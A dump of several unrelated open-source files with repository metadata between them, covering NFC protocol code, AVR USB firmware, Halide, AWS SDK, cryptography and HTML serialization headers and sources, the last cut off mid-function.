phhalHw_Receive( pDataParams->pHalDataParams, PH_RECEIVE_DEFAULT, &pRxBuffer, &wRxLength); if((status & PH_ERR_MASK) == PH_ERR_SUCCESS) { /* Update the number of bytes send */ wTxSent = wTxSent + wTxCopyBytes; /* Validate frame */ status = phpalI14443p4mC_Sw_Int_ValidateFrame( pDataParams, pRxBuffer, wRxLength, NULL, NULL); /* Set Exit option */ if((wTxSent == wTxLength) && (0U != ((wOption & PH_TRANSMIT_TXCHAINING)))) { /* Exit the loop */ bTransmit = 0; } else { /* Continue TX chaining */ bTransmit = 1; } } else if(((status & PH_ERR_MASK) == PH_ERR_EXT_RF_ERROR) || ((status & PH_ERR_MASK) == PH_ERR_BUFFER_OVERFLOW)) { /* Application may reset HW and data parameters of all layers * and may restart listen on RF off error */ return status; } else { /* Continue in receive mode */ } } while((status & PH_ERR_MASK) != PH_ERR_SUCCESS); /* Re-send last I-Block */ if(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_RESEND) { /* Use the length of last block send as Tx buffer length * Re-send last I block */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_PREV_FRAME, NULL, pDataParams->wLastTxLen)); } } while(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_RESEND); } else { /* Get header length */ PH_CHECK_SUCCESS_FCT(status, phhalHw_GetConfig( pDataParams->pHalDataParams, PHHAL_HW_CONFIG_TXBUFFER_LENGTH, &wPrologueField)); /* Backup total TX length (needed in case of error, to re-send) */ pDataParams->wLastTxLen = wTxCopyBytes + wPrologueField; /* Only do transmit, if not chaining */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_BUFFER_LAST, &pTxBuffer[wTxSent], wTxCopyBytes)); /* Exit the loop */ bTransmit = 0; } } while(0U != bTransmit); return status; } phStatus_t phpalI14443p4mC_Sw_Wtx( phpalI14443p4mC_Sw_DataParams_t * pDataParams ) { phStatus_t PH_MEMLOC_REM status; uint8_t PH_MEMLOC_REM aCmd[3]; uint16_t PH_MEMLOC_REM wWtxReqLength = 2; uint8_t * PH_MEMLOC_REM pWtxResp = NULL; uint16_t PH_MEMLOC_REM wWtxRespLength = 0; aCmd[0] = PHPAL_I14443P4MC_SW_S_BLOCK_WTX_FRAME; /* Add CID if enabled */ if (0U != (pDataParams->bCidPresence)) { aCmd[0] |= PHPAL_I14443P4MC_SW_PCB_CID_FOLLOWING; aCmd[1] = pDataParams->bCid; wWtxReqLength++; } aCmd[wWtxReqLength - 1u] = pDataParams->bWtx; /* Backup TX length (needed in case of error, to re-send) */ pDataParams->wLastTxLen = wWtxReqLength; /* Send WTX request */ PH_CHECK_SUCCESS_FCT(status, phhalHw_Transmit( pDataParams->pHalDataParams, PH_TRANSMIT_LEAVE_BUFFER_BIT, &aCmd[0], wWtxReqLength)); /* Update state */ pDataParams->bStateNow = PHPAL_I14443P4MC_STATE_WTX; /* Receive WTX response */ PH_CHECK_SUCCESS_FCT(status, phpalI14443p4mC_Sw_Receive( pDataParams, PH_RECEIVE_DEFAULT, &pWtxResp, &wWtxRespLength)); return PH_ERR_SUCCESS; } phStatus_t phpalI14443p4mC_Sw_SetConfig( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint16_t wConfig, uint16_t wValue ) { switch(wConfig) { case PHPAL_I14443P4MC_CONFIG_WTX: if((wValue != PH_ON) && (wValue != PH_OFF)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->bDisableWtx = (uint8_t)(wValue ^ 0x0001U); break; case PHPAL_I14443P4MC_CONFIG_WTX_VALUE: if((wValue < PHPAL_I14443P4MC_SW_MIN_WTX_VALUE) || (wValue > PHPAL_I14443P4MC_SW_MAX_WTX_VALUE)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->bWtx = (uint8_t)(wValue); break; case PHPAL_I14443P4MC_CONFIG_MODE: if((wValue != RD_LIB_MODE_ISO) && (wValue != RD_LIB_MODE_NFC)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->bOpMode = (uint8_t)(wValue); break; case PHPAL_I14443P4MC_CONFIG_WT_PERCENTAGE: if((wValue > 100U) || (wValue < 10U)) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->bWtPercentage = (uint8_t)(wValue); break; case PHPAL_I14443P4MC_CONFIG_WT_DELTA: if(pDataParams->bStateNow == PHPAL_I14443P4MC_STATE_NONE) { return (PH_ERR_USE_CONDITION | PH_COMP_PAL_I14443P4MC); } if((((PHPAL_I14443P4MC_SW_CALCULATE_FWT_US(pDataParams->bFwi)) * pDataParams->bWtPercentage * pDataParams->bWtx) / 100) < wValue) { return (PH_ERR_INVALID_PARAMETER | PH_COMP_PAL_I14443P4MC); } pDataParams->wWtDelta = wValue; break; default: return (PH_ERR_UNSUPPORTED_PARAMETER | PH_COMP_PAL_I14443P4MC); } return PH_ERR_SUCCESS; } phStatus_t phpalI14443p4mC_Sw_GetConfig( phpalI14443p4mC_Sw_DataParams_t * pDataParams, uint16_t wConfig, uint16_t *pValue ) { switch(wConfig) { case PHPAL_I14443P4MC_CONFIG_WTX: *pValue = (uint16_t)(pDataParams->bDisableWtx ^ 0x01U); break; case PHPAL_I14443P4MC_CONFIG_BLOCKNO: *pValue = (uint16_t)(pDataParams->bBlockNr); break; case PHPAL_I14443P4MC_CONFIG_FSDI: *pValue = (uint16_t)(pDataParams->bFsdi); break; case PHPAL_I14443P4MC_CONFIG_FSD: *pValue = (uint16_t)aI14443p4mC_FsTable[pDataParams->bFsdi]; break; case PHPAL_I14443P4MC_CONFIG_MODE: *pValue = (uint16_t)(pDataParams->bOpMode); break; case PHPAL_I14443P4MC_CONFIG_WT_PERCENTAGE: *pValue = (uint16_t)(pDataParams->bWtPercentage); break; case PHPAL_I14443P4MC_CONFIG_WT_DELTA: *pValue = (uint16_t)(pDataParams->wWtDelta); break; case PHPAL_I14443P4MC_CONFIG_CID_PRESENCE: *pValue = (uint16_t)(pDataParams->bCidPresence); break; case PHPAL_I14443P4MC_CONFIG_NAD_PRESENCE: *pValue = (uint16_t)(pDataParams->bNadPresence); break; default: return (PH_ERR_UNSUPPORTED_PARAMETER | PH_COMP_PAL_I14443P4MC); } return PH_ERR_SUCCESS; } #endif /* NXPBUILD__PHPAL_I14443P4MC_SW */
33.775171
152
0.546944
02227294e225cae205fe980b34e5eb1860e70716
3,809
c
C
AVR C source code 2.0/firmware/examples/custom-class/firmware/main.c
VictorGrig/USBscope
1c70e3c1e22e0d11d722240a3df05ff94481dfc8
[ "MIT" ]
1
2018-02-17T13:31:00.000Z
2018-02-17T13:31:00.000Z
HP48GX/vusb-20121206/examples/custom-class/firmware/main.c
LUMERIIX/HP48GX
2567bbda1e6af9822b0eab95a7ee944cb846fc33
[ "MIT" ]
null
null
null
HP48GX/vusb-20121206/examples/custom-class/firmware/main.c
LUMERIIX/HP48GX
2567bbda1e6af9822b0eab95a7ee944cb846fc33
[ "MIT" ]
null
null
null
/* Name: main.c * Project: custom-class, a basic USB example * Author: Christian Starkjohann * Creation Date: 2008-04-09 * Tabsize: 4 * Copyright: (c) 2008 by OBJECTIVE DEVELOPMENT Software GmbH * License: GNU GPL v2 (see License.txt), GNU GPL v3 or proprietary (CommercialLicense.txt) */ /* This example should run on most AVRs with only little changes. No special hardware resources except INT0 are used. You may have to change usbconfig.h for different I/O pins for USB. Please note that USB D+ must be the INT0 pin, or at least be connected to INT0 as well. We assume that an LED is connected to port B bit 0. If you connect it to a different port or bit, change the macros below: */ #define LED_PORT_DDR DDRB #define LED_PORT_OUTPUT PORTB #define LED_BIT 0 #include <avr/io.h> #include <avr/wdt.h> #include <avr/interrupt.h> /* for sei() */ #include <util/delay.h> /* for _delay_ms() */ #include <avr/pgmspace.h> /* required by usbdrv.h */ #include "usbdrv.h" #include "oddebug.h" /* This is also an example for using debug macros */ #include "requests.h" /* The custom request numbers we use */ /* ------------------------------------------------------------------------- */ /* ----------------------------- USB interface ----------------------------- */ /* ------------------------------------------------------------------------- */ usbMsgLen_t usbFunctionSetup(uchar data[8]) { usbRequest_t *rq = (void *)data; static uchar dataBuffer[4]; /* buffer must stay valid when usbFunctionSetup returns */ if(rq->bRequest == CUSTOM_RQ_ECHO){ /* echo -- used for reliability tests */ dataBuffer[0] = rq->wValue.bytes[0]; dataBuffer[1] = rq->wValue.bytes[1]; dataBuffer[2] = rq->wIndex.bytes[0]; dataBuffer[3] = rq->wIndex.bytes[1]; usbMsgPtr = dataBuffer; /* tell the driver which data to return */ return 4; }else if(rq->bRequest == CUSTOM_RQ_SET_STATUS){ if(rq->wValue.bytes[0] & 1){ /* set LED */ LED_PORT_OUTPUT |= _BV(LED_BIT); }else{ /* clear LED */ LED_PORT_OUTPUT &= ~_BV(LED_BIT); } }else if(rq->bRequest == CUSTOM_RQ_GET_STATUS){ dataBuffer[0] = ((LED_PORT_OUTPUT & _BV(LED_BIT)) != 0); usbMsgPtr = dataBuffer; /* tell the driver which data to return */ return 1; /* tell the driver to send 1 byte */ } return 0; /* default for not implemented requests: return no data back to host */ } /* ------------------------------------------------------------------------- */ int __attribute__((noreturn)) main(void) { uchar i; wdt_enable(WDTO_1S); /* Even if you don't use the watchdog, turn it off here. On newer devices, * the status of the watchdog (on/off, period) is PRESERVED OVER RESET! */ /* RESET status: all port bits are inputs without pull-up. * That's the way we need D+ and D-. Therefore we don't need any * additional hardware initialization. */ odDebugInit(); DBG1(0x00, 0, 0); /* debug output: main starts */ usbInit(); usbDeviceDisconnect(); /* enforce re-enumeration, do this while interrupts are disabled! */ i = 0; while(--i){ /* fake USB disconnect for > 250 ms */ wdt_reset(); _delay_ms(1); } usbDeviceConnect(); LED_PORT_DDR |= _BV(LED_BIT); /* make the LED bit an output */ sei(); DBG1(0x01, 0, 0); /* debug output: main loop starts */ for(;;){ /* main event loop */ DBG1(0x02, 0, 0); /* debug output: main loop iterates */ wdt_reset(); usbPoll(); } } /* ------------------------------------------------------------------------- */
39.268041
96
0.555001
cb87030d542e3a1ce00c5645783f3eba687adc1b
3,448
h
C
src/Associativity.h
dkurtaev/Halide
50afe655ef203f223f412ae39dae93419ea87368
[ "MIT" ]
3
2018-06-11T20:05:14.000Z
2019-06-21T10:10:46.000Z
src/Associativity.h
dkurtaev/Halide
50afe655ef203f223f412ae39dae93419ea87368
[ "MIT" ]
null
null
null
src/Associativity.h
dkurtaev/Halide
50afe655ef203f223f412ae39dae93419ea87368
[ "MIT" ]
1
2021-07-15T23:34:44.000Z
2021-07-15T23:34:44.000Z
#ifndef HALIDE_ASSOCIATIVITY_H #define HALIDE_ASSOCIATIVITY_H /** \file * * Methods for extracting an associative operator from a Func's update definition * if there is any and computing the identity of the associative operator. */ #include "IR.h" #include <functional> namespace Halide { namespace Internal { /** * Represent the equivalent associative binary/unary operator of an associative Expr. * For example, the following associative Expr, min(f(x), g(r.x) + 2), where f(x) * is the self-recurrence term, will be represented as: \code AssociativeOp assoc = { min(x, y), +inf, {"x", f(x)}, {"y", g(r.x) + 2}, }; \endcode * * For unary operator, 'x' is not set, i.e. it will be a pair of empty string * and undefined Expr: {"", Expr()}. 'op' will only contain the 'y' term in * this case. For example, min(g(r.x), 4), will be represented as: \code AssociativeOp assoc = { y, 0, {"", Expr()}, {"y", min(g(r.x), 4)}, }; \endcode * Since it is a unary operator, the identity does not matter. It can be * anything. */ struct AssociativeOp { Expr op; // op(x, y) Expr identity; std::pair<std::string, Expr> x; std::pair<std::string, Expr> y; }; /** * Represent the result of calling \ref prove_associativity on an update definition. * 'is_associative' indicates if the operation was successfuly proven as associative. * 'is_commutative' indicates if the operation was successfuly proven as commutative. * 'ops' contains the list of AssociativeOps for each Tuple element in the update * definition. If it fails to prove associativity, 'ops' is not valid (i.e. it will * be empty) as well as 'is_commutative'. See \ref prove_associativity for more details. */ struct ProveAssociativityResult { bool is_associative; bool is_commutative; std::vector<AssociativeOp> ops; ProveAssociativityResult(bool associative, bool commutative, const std::vector<AssociativeOp> &ops) : is_associative(associative), is_commutative(commutative), ops(ops) {} ProveAssociativityResult() : ProveAssociativityResult(false, false, std::vector<AssociativeOp>()) {} }; /** * Given an update definition of a Func 'f', determine its equivalent associative * binary/unary operator if there is any. For an associative tuple update, this * will compute a vector containing the list of AssociativeOps for each Tuple * element in the update definition. This will also compute the commutativity * of the associative update definition. If the update definition is failed to * be proven as associative, neither the AssociativeOps vector nor the * 'is_commutative' result is valid. * * For instance, f(x) = min(f(x), g(r.x)) will return true for associativity and * commutativity and it will also return {{min(_x_0, _y_0), +inf, {_x_0, f(x)}, * {_y_0, g(r.x)}}}, where the first Expr is the equivalent binary operator, * the second Expr is identity of the binary operator, the third and the last * pair contain the corresponding definition of each variable in the binary operator. * * Note that even though f(x) = f(x) is associative, we'll treat it as non-associative * since it doesn't really make any sense to do any associative reduction on that * particular update definition. */ ProveAssociativityResult prove_associativity( const std::string &f, std::vector<Expr> args, std::vector<Expr> exprs); EXPORT void associativity_test(); } } #endif
35.183673
104
0.715197
8b4aa39c02cc161e4d5922c869ae00914cf1e5e6
273
h
C
Example/RMAvatarBrowser/RMAppDelegate.h
Raymon-lau/RMAvatarBrowser
10e826cc28e1fdeb062a459425751134834e725d
[ "MIT" ]
null
null
null
Example/RMAvatarBrowser/RMAppDelegate.h
Raymon-lau/RMAvatarBrowser
10e826cc28e1fdeb062a459425751134834e725d
[ "MIT" ]
null
null
null
Example/RMAvatarBrowser/RMAppDelegate.h
Raymon-lau/RMAvatarBrowser
10e826cc28e1fdeb062a459425751134834e725d
[ "MIT" ]
null
null
null
// // RMAppDelegate.h // RMAvatarBrowser // // Created by Raymon on 09/05/2016. // Copyright (c) 2016 Raymon. All rights reserved. // @import UIKit; @interface RMAppDelegate : UIResponder <UIApplicationDelegate> @property (strong, nonatomic) UIWindow *window; @end
17.0625
62
0.717949
53c1b368df7d00fe32778c40124046da032bbdbf
1,040
h
C
cppcrypto/poly1305-impl.h
crashdemons/kerukuro-cppcrypto
090d0e97280c0c34267ab50b72a2ffa5b991110b
[ "BSD-2-Clause" ]
null
null
null
cppcrypto/poly1305-impl.h
crashdemons/kerukuro-cppcrypto
090d0e97280c0c34267ab50b72a2ffa5b991110b
[ "BSD-2-Clause" ]
null
null
null
cppcrypto/poly1305-impl.h
crashdemons/kerukuro-cppcrypto
090d0e97280c0c34267ab50b72a2ffa5b991110b
[ "BSD-2-Clause" ]
null
null
null
/* This code is written by kerukuro for cppcrypto library (http://cppcrypto.sourceforge.net/) and released into public domain. */ #include "portability.h" #include "alignedarray.h" namespace cppcrypto { namespace detail { class poly1305_impl { public: virtual ~poly1305_impl() {} virtual void init(const unsigned char* key) = 0; virtual void transform(const unsigned char *in, size_t inlen) = 0; virtual void finish(const unsigned char *in, size_t remaining, unsigned char *mac) = 0; virtual int blockbytes() const = 0; virtual void clear() = 0; }; class poly1305_impl_sse2 : public poly1305_impl { public: virtual void init(const unsigned char* key) override; virtual void transform(const unsigned char *in, size_t inlen) override; virtual void finish(const unsigned char *in, size_t remaining, unsigned char *mac) override; virtual void clear() override; virtual int blockbytes() const override { return 32; } private: aligned_pod_array<unsigned char, 320, 32> state_; }; } }
26.666667
95
0.719231
5b34e17cee5e5b995ffdc370d47c4f12e415f88d
2,318
h
C
aws-cpp-sdk-eks/include/aws/eks/model/Identity.h
Neusoft-Technology-Solutions/aws-sdk-cpp
88c041828b0dbee18a297c3cfe98c5ecd0706d0b
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-eks/include/aws/eks/model/Identity.h
Neusoft-Technology-Solutions/aws-sdk-cpp
88c041828b0dbee18a297c3cfe98c5ecd0706d0b
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-eks/include/aws/eks/model/Identity.h
Neusoft-Technology-Solutions/aws-sdk-cpp
88c041828b0dbee18a297c3cfe98c5ecd0706d0b
[ "Apache-2.0" ]
1
2020-10-27T18:16:01.000Z
2020-10-27T18:16:01.000Z
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/eks/EKS_EXPORTS.h> #include <aws/eks/model/OIDC.h> #include <utility> namespace Aws { namespace Utils { namespace Json { class JsonValue; class JsonView; } // namespace Json } // namespace Utils namespace EKS { namespace Model { /** * <p>An object representing an identity provider for authentication * credentials.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/eks-2017-11-01/Identity">AWS API * Reference</a></p> */ class AWS_EKS_API Identity { public: Identity(); Identity(Aws::Utils::Json::JsonView jsonValue); Identity& operator=(Aws::Utils::Json::JsonView jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline const OIDC& GetOidc() const{ return m_oidc; } /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline bool OidcHasBeenSet() const { return m_oidcHasBeenSet; } /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline void SetOidc(const OIDC& value) { m_oidcHasBeenSet = true; m_oidc = value; } /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline void SetOidc(OIDC&& value) { m_oidcHasBeenSet = true; m_oidc = std::move(value); } /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline Identity& WithOidc(const OIDC& value) { SetOidc(value); return *this;} /** * <p>The <a href="https://openid.net/connect/">OpenID Connect</a> identity * provider information for the cluster.</p> */ inline Identity& WithOidc(OIDC&& value) { SetOidc(std::move(value)); return *this;} private: OIDC m_oidc; bool m_oidcHasBeenSet; }; } // namespace Model } // namespace EKS } // namespace Aws
26.953488
93
0.645384
3e1e99a793c66c2dc1a07c5b56b4ec94d9681355
662
h
C
PrivateFrameworks/AppleAccount/AASigningSession.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
17
2018-11-13T04:02:58.000Z
2022-01-20T09:27:13.000Z
PrivateFrameworks/AppleAccount/AASigningSession.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
3
2018-04-06T02:02:27.000Z
2018-10-02T01:12:10.000Z
PrivateFrameworks/AppleAccount/AASigningSession.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
1
2018-09-28T13:54:23.000Z
2018-09-28T13:54:23.000Z
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "NSObject.h" @class NSString; @interface AASigningSession : NSObject { struct NACContextOpaque_ *_context; NSString *_certURL; NSString *_sessionURL; int _error; } + (id)_badURLError; + (id)establishedSessionWithCertURL:(id)arg1 sessionURL:(id)arg2 error:(id *)arg3; @property(readonly, nonatomic) int error; // @synthesize error=_error; - (void).cxx_destruct; - (void)dealloc; - (id)signatureForData:(id)arg1; - (void)establishSession; - (id)initWithCertURL:(id)arg1 sessionURL:(id)arg2; @end
22.066667
83
0.703927
3f2d579c35ddaa041aff56fbddf7967ba78be838
368
h
C
Example/TSClusterMapView-MacExample/TSClusterMapView-MacExample/AnnotationViews/TSDemoClusteredAnnotationView.h
ashare80/ADClusterMapView
b2907d0512edd00d7bb1a6e0cefbf58831bcc853
[ "MIT" ]
172
2015-01-21T16:24:57.000Z
2018-08-09T02:17:30.000Z
Example/TSClusterMapView-MacExample/TSClusterMapView-MacExample/AnnotationViews/TSDemoClusteredAnnotationView.h
ashare80/ADClusterMapView
b2907d0512edd00d7bb1a6e0cefbf58831bcc853
[ "MIT" ]
35
2015-02-10T22:45:25.000Z
2019-12-05T12:29:18.000Z
Example/TSClusterMapView-MacExample/TSClusterMapView-MacExample/AnnotationViews/TSDemoClusteredAnnotationView.h
ashare80/ADClusterMapView
b2907d0512edd00d7bb1a6e0cefbf58831bcc853
[ "MIT" ]
34
2015-01-27T20:43:23.000Z
2019-09-26T22:14:53.000Z
// // TSDemoClusteredAnnotationView.h // ClusterDemo // // Created by Adam Share on 1/13/15. // Copyright (c) 2015 Applidium. All rights reserved. // #import <TSClusterMapView/TSRefreshedAnnotationView.h> #import <Quartz/Quartz.h> @interface TSDemoClusteredAnnotationView : TSRefreshedAnnotationView @property (strong, nonatomic) CATextLayer *textLayer; @end
20.444444
68
0.766304
c142c914a6e0b59b67d7b08ce38889465a1877ed
18,060
c
C
RenderKit/Modest/source/myhtml/serialization.c
manu88/RenderKit
58815920ecac445981c98592f556dfa1b670db98
[ "Apache-2.0" ]
4
2017-08-30T23:46:21.000Z
2020-08-08T14:40:22.000Z
RenderKit/Modest/source/myhtml/serialization.c
manu88/RenderKit
58815920ecac445981c98592f556dfa1b670db98
[ "Apache-2.0" ]
null
null
null
RenderKit/Modest/source/myhtml/serialization.c
manu88/RenderKit
58815920ecac445981c98592f556dfa1b670db98
[ "Apache-2.0" ]
1
2022-02-15T02:42:28.000Z
2022-02-15T02:42:28.000Z
/* Copyright (C) 2016-2017 Alexander Borisov This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Author: lex.borisov@gmail.com (Alexander Borisov) Author: https://github.com/EmielBruijntjes (Emiel Bruijntjes) */ #include "myhtml/serialization.h" /** * Forward declaration of all the functions that are used inside this module */ static mystatus_t myhtml_serialization_append(const char* str, size_t size, mycore_callback_serialize_f callback, void *ptr); static mystatus_t myhtml_serialization_append_attr(const char* str, size_t length, mycore_callback_serialize_f callback, void *ptr); static mystatus_t myhtml_serialization_attributes(myhtml_tree_t* tree, myhtml_tree_attr_t* attr, mycore_callback_serialize_f callback, void *ptr); static mystatus_t myhtml_serialization_node_append_text_node(myhtml_tree_node_t* node, mycore_callback_serialize_f callback, void *ptr); static mystatus_t myhtml_serialization_node_append_close(myhtml_tree_node_t* node, mycore_callback_serialize_f callback, void *ptr); /** * See the function myhtml_serialization_tree_buffer */ mystatus_t myhtml_serialization(myhtml_tree_node_t* scope_node, mycore_string_raw_t* str) { return myhtml_serialization_tree_buffer(scope_node, str); } /** * See the function myhtml_serialization_node_buffer */ mystatus_t myhtml_serialization_node(myhtml_tree_node_t* node, mycore_string_raw_t* str) { return myhtml_serialization_node_buffer(node, str); } /** * The serialize function for an entire tree * @param tree the tree to be serialized * @param scope_node the scope_node * @param callback function that will be called for all strings that have to be printed * @param ptr user-supplied pointer * @return bool */ mystatus_t myhtml_serialization_tree_callback(myhtml_tree_node_t* scope_node, mycore_callback_serialize_f callback, void *ptr) { myhtml_tree_node_t* node = scope_node; while(node) { if(myhtml_serialization_node_callback(node, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(node->child) node = node->child; else { while(node != scope_node && node->next == NULL) { if(myhtml_serialization_node_append_close(node, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; node = node->parent; } if(node == scope_node) { if(node != node->tree->document) { if(myhtml_serialization_node_append_close(node, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } break; } if(myhtml_serialization_node_append_close(node, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; node = node->next; } } return MyCORE_STATUS_OK; } /** * The serialize function for a single node * @param tree the tree to be serialized * @param node the node that is going to be serialized * @param callback function that will be called for all strings that have to be printed * @param ptr user-supplied pointer * @return bool */ mystatus_t myhtml_serialization_node_callback(myhtml_tree_node_t* node, mycore_callback_serialize_f callback, void *ptr) { switch (node->tag_id) { case MyHTML_TAG__TEXT: { if(myhtml_serialization_node_append_text_node(node, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } case MyHTML_TAG__COMMENT: { if(callback("<!--", 4, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(node->token && node->token->str.data) { if(callback(node->token->str.data, node->token->str.length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("-->", 3, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } case MyHTML_TAG__DOCTYPE: { if(callback("<!DOCTYPE", 9, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(node->token) { myhtml_tree_attr_t* attr = node->token->attr_first; if(attr->key.data && attr->key.length) { if(callback(" ", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(callback(attr->key.data, attr->key.length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } } if(callback(">", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } default: { size_t length; const char *tag = myhtml_tag_name_by_id(node->tree, node->tag_id, &length); if(callback("<", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(callback(tag, length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(node->token) { if(myhtml_serialization_attributes(node->tree, node->token->attr_first, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback(">", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } } return MyCORE_STATUS_OK; } /** * Internal function to process attributes * @param tree * @param attr * @param callback * @param ptr */ mystatus_t myhtml_serialization_attributes(myhtml_tree_t* tree, myhtml_tree_attr_t* attr, mycore_callback_serialize_f callback, void* ptr) { while(attr) { if(callback(" ", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; switch (attr->ns) { case MyHTML_NAMESPACE_XML: if(callback("xml:", 4, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; case MyHTML_NAMESPACE_XMLNS: { /* If the attribute is in the XMLNS namespace and the attribute's local name is not xmlns The attribute's serialized name is the string "xmlns:" followed by the attribute's local name. */ if(attr->key.data && attr->key.length == 5 && mycore_strcmp(attr->key.data, "xmlns")) { if(callback("xmlns:", 6, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } break; } case MyHTML_NAMESPACE_XLINK: { if(callback("xlink:", 6, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } default: break; } size_t length; const char *data = myhtml_attribute_key(attr, &length); if(data) { if(callback(data, length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("=\"", 2, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; data = myhtml_attribute_value(attr, &length); if(data) { if(myhtml_serialization_append_attr(data, length, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("\"", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; attr = attr->next; } return MyCORE_STATUS_OK; } /** * Internal function to process a close tag * @param tree * @param node * @param callback * @param ptr */ mystatus_t myhtml_serialization_node_append_close(myhtml_tree_node_t* node, mycore_callback_serialize_f callback, void* ptr) { if(node->tag_id != MyHTML_TAG__TEXT && node->tag_id != MyHTML_TAG__COMMENT && node->tag_id != MyHTML_TAG__DOCTYPE) { size_t length; const char *tag = myhtml_tag_name_by_id(node->tree, node->tag_id, &length); if(callback("</", 2, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(callback(tag, length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; if(callback(">", 1, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } return MyCORE_STATUS_OK; } /** * Internal function to process a text node * @param tree * @param node * @param callback * @param ptr */ mystatus_t myhtml_serialization_node_append_text_node(myhtml_tree_node_t* node, mycore_callback_serialize_f callback, void* ptr) { if(node->token == NULL || node->token->str.data == NULL) return MyCORE_STATUS_OK; if(node->parent == NULL) { if(myhtml_serialization_append(node->token->str.data, node->token->str.length, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; return MyCORE_STATUS_OK; } switch (node->parent->tag_id) { case MyHTML_TAG_STYLE: case MyHTML_TAG_SCRIPT: case MyHTML_TAG_XMP: case MyHTML_TAG_IFRAME: case MyHTML_TAG_NOEMBED: case MyHTML_TAG_NOFRAMES: case MyHTML_TAG_PLAINTEXT: if(callback(node->token->str.data, node->token->str.length, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; default: if(myhtml_serialization_append(node->token->str.data, node->token->str.length, callback, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; break; } return MyCORE_STATUS_OK; } /** * Internal method to process a buffer that could contain to-be-quoted output * @param data * @param size * @param callback * @param ptr */ mystatus_t myhtml_serialization_append(const char *data, size_t size, mycore_callback_serialize_f callback, void* ptr) { // number of chars not yet displayed size_t notwritten = 0; // iterate over the buffer for (size_t i = 0; i < size; ++i) { switch ((unsigned char)data[i]) { case '&': if(notwritten) { if(callback(data + i - notwritten, notwritten, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; } if(callback("&amp;", 5, ptr)) return MyCORE_STATUS_ERROR_MEMORY_ALLOCATION; notwritten = 0; break; case '<': if(notwritten) { if(callback(data + i - notwritten, notwritten, 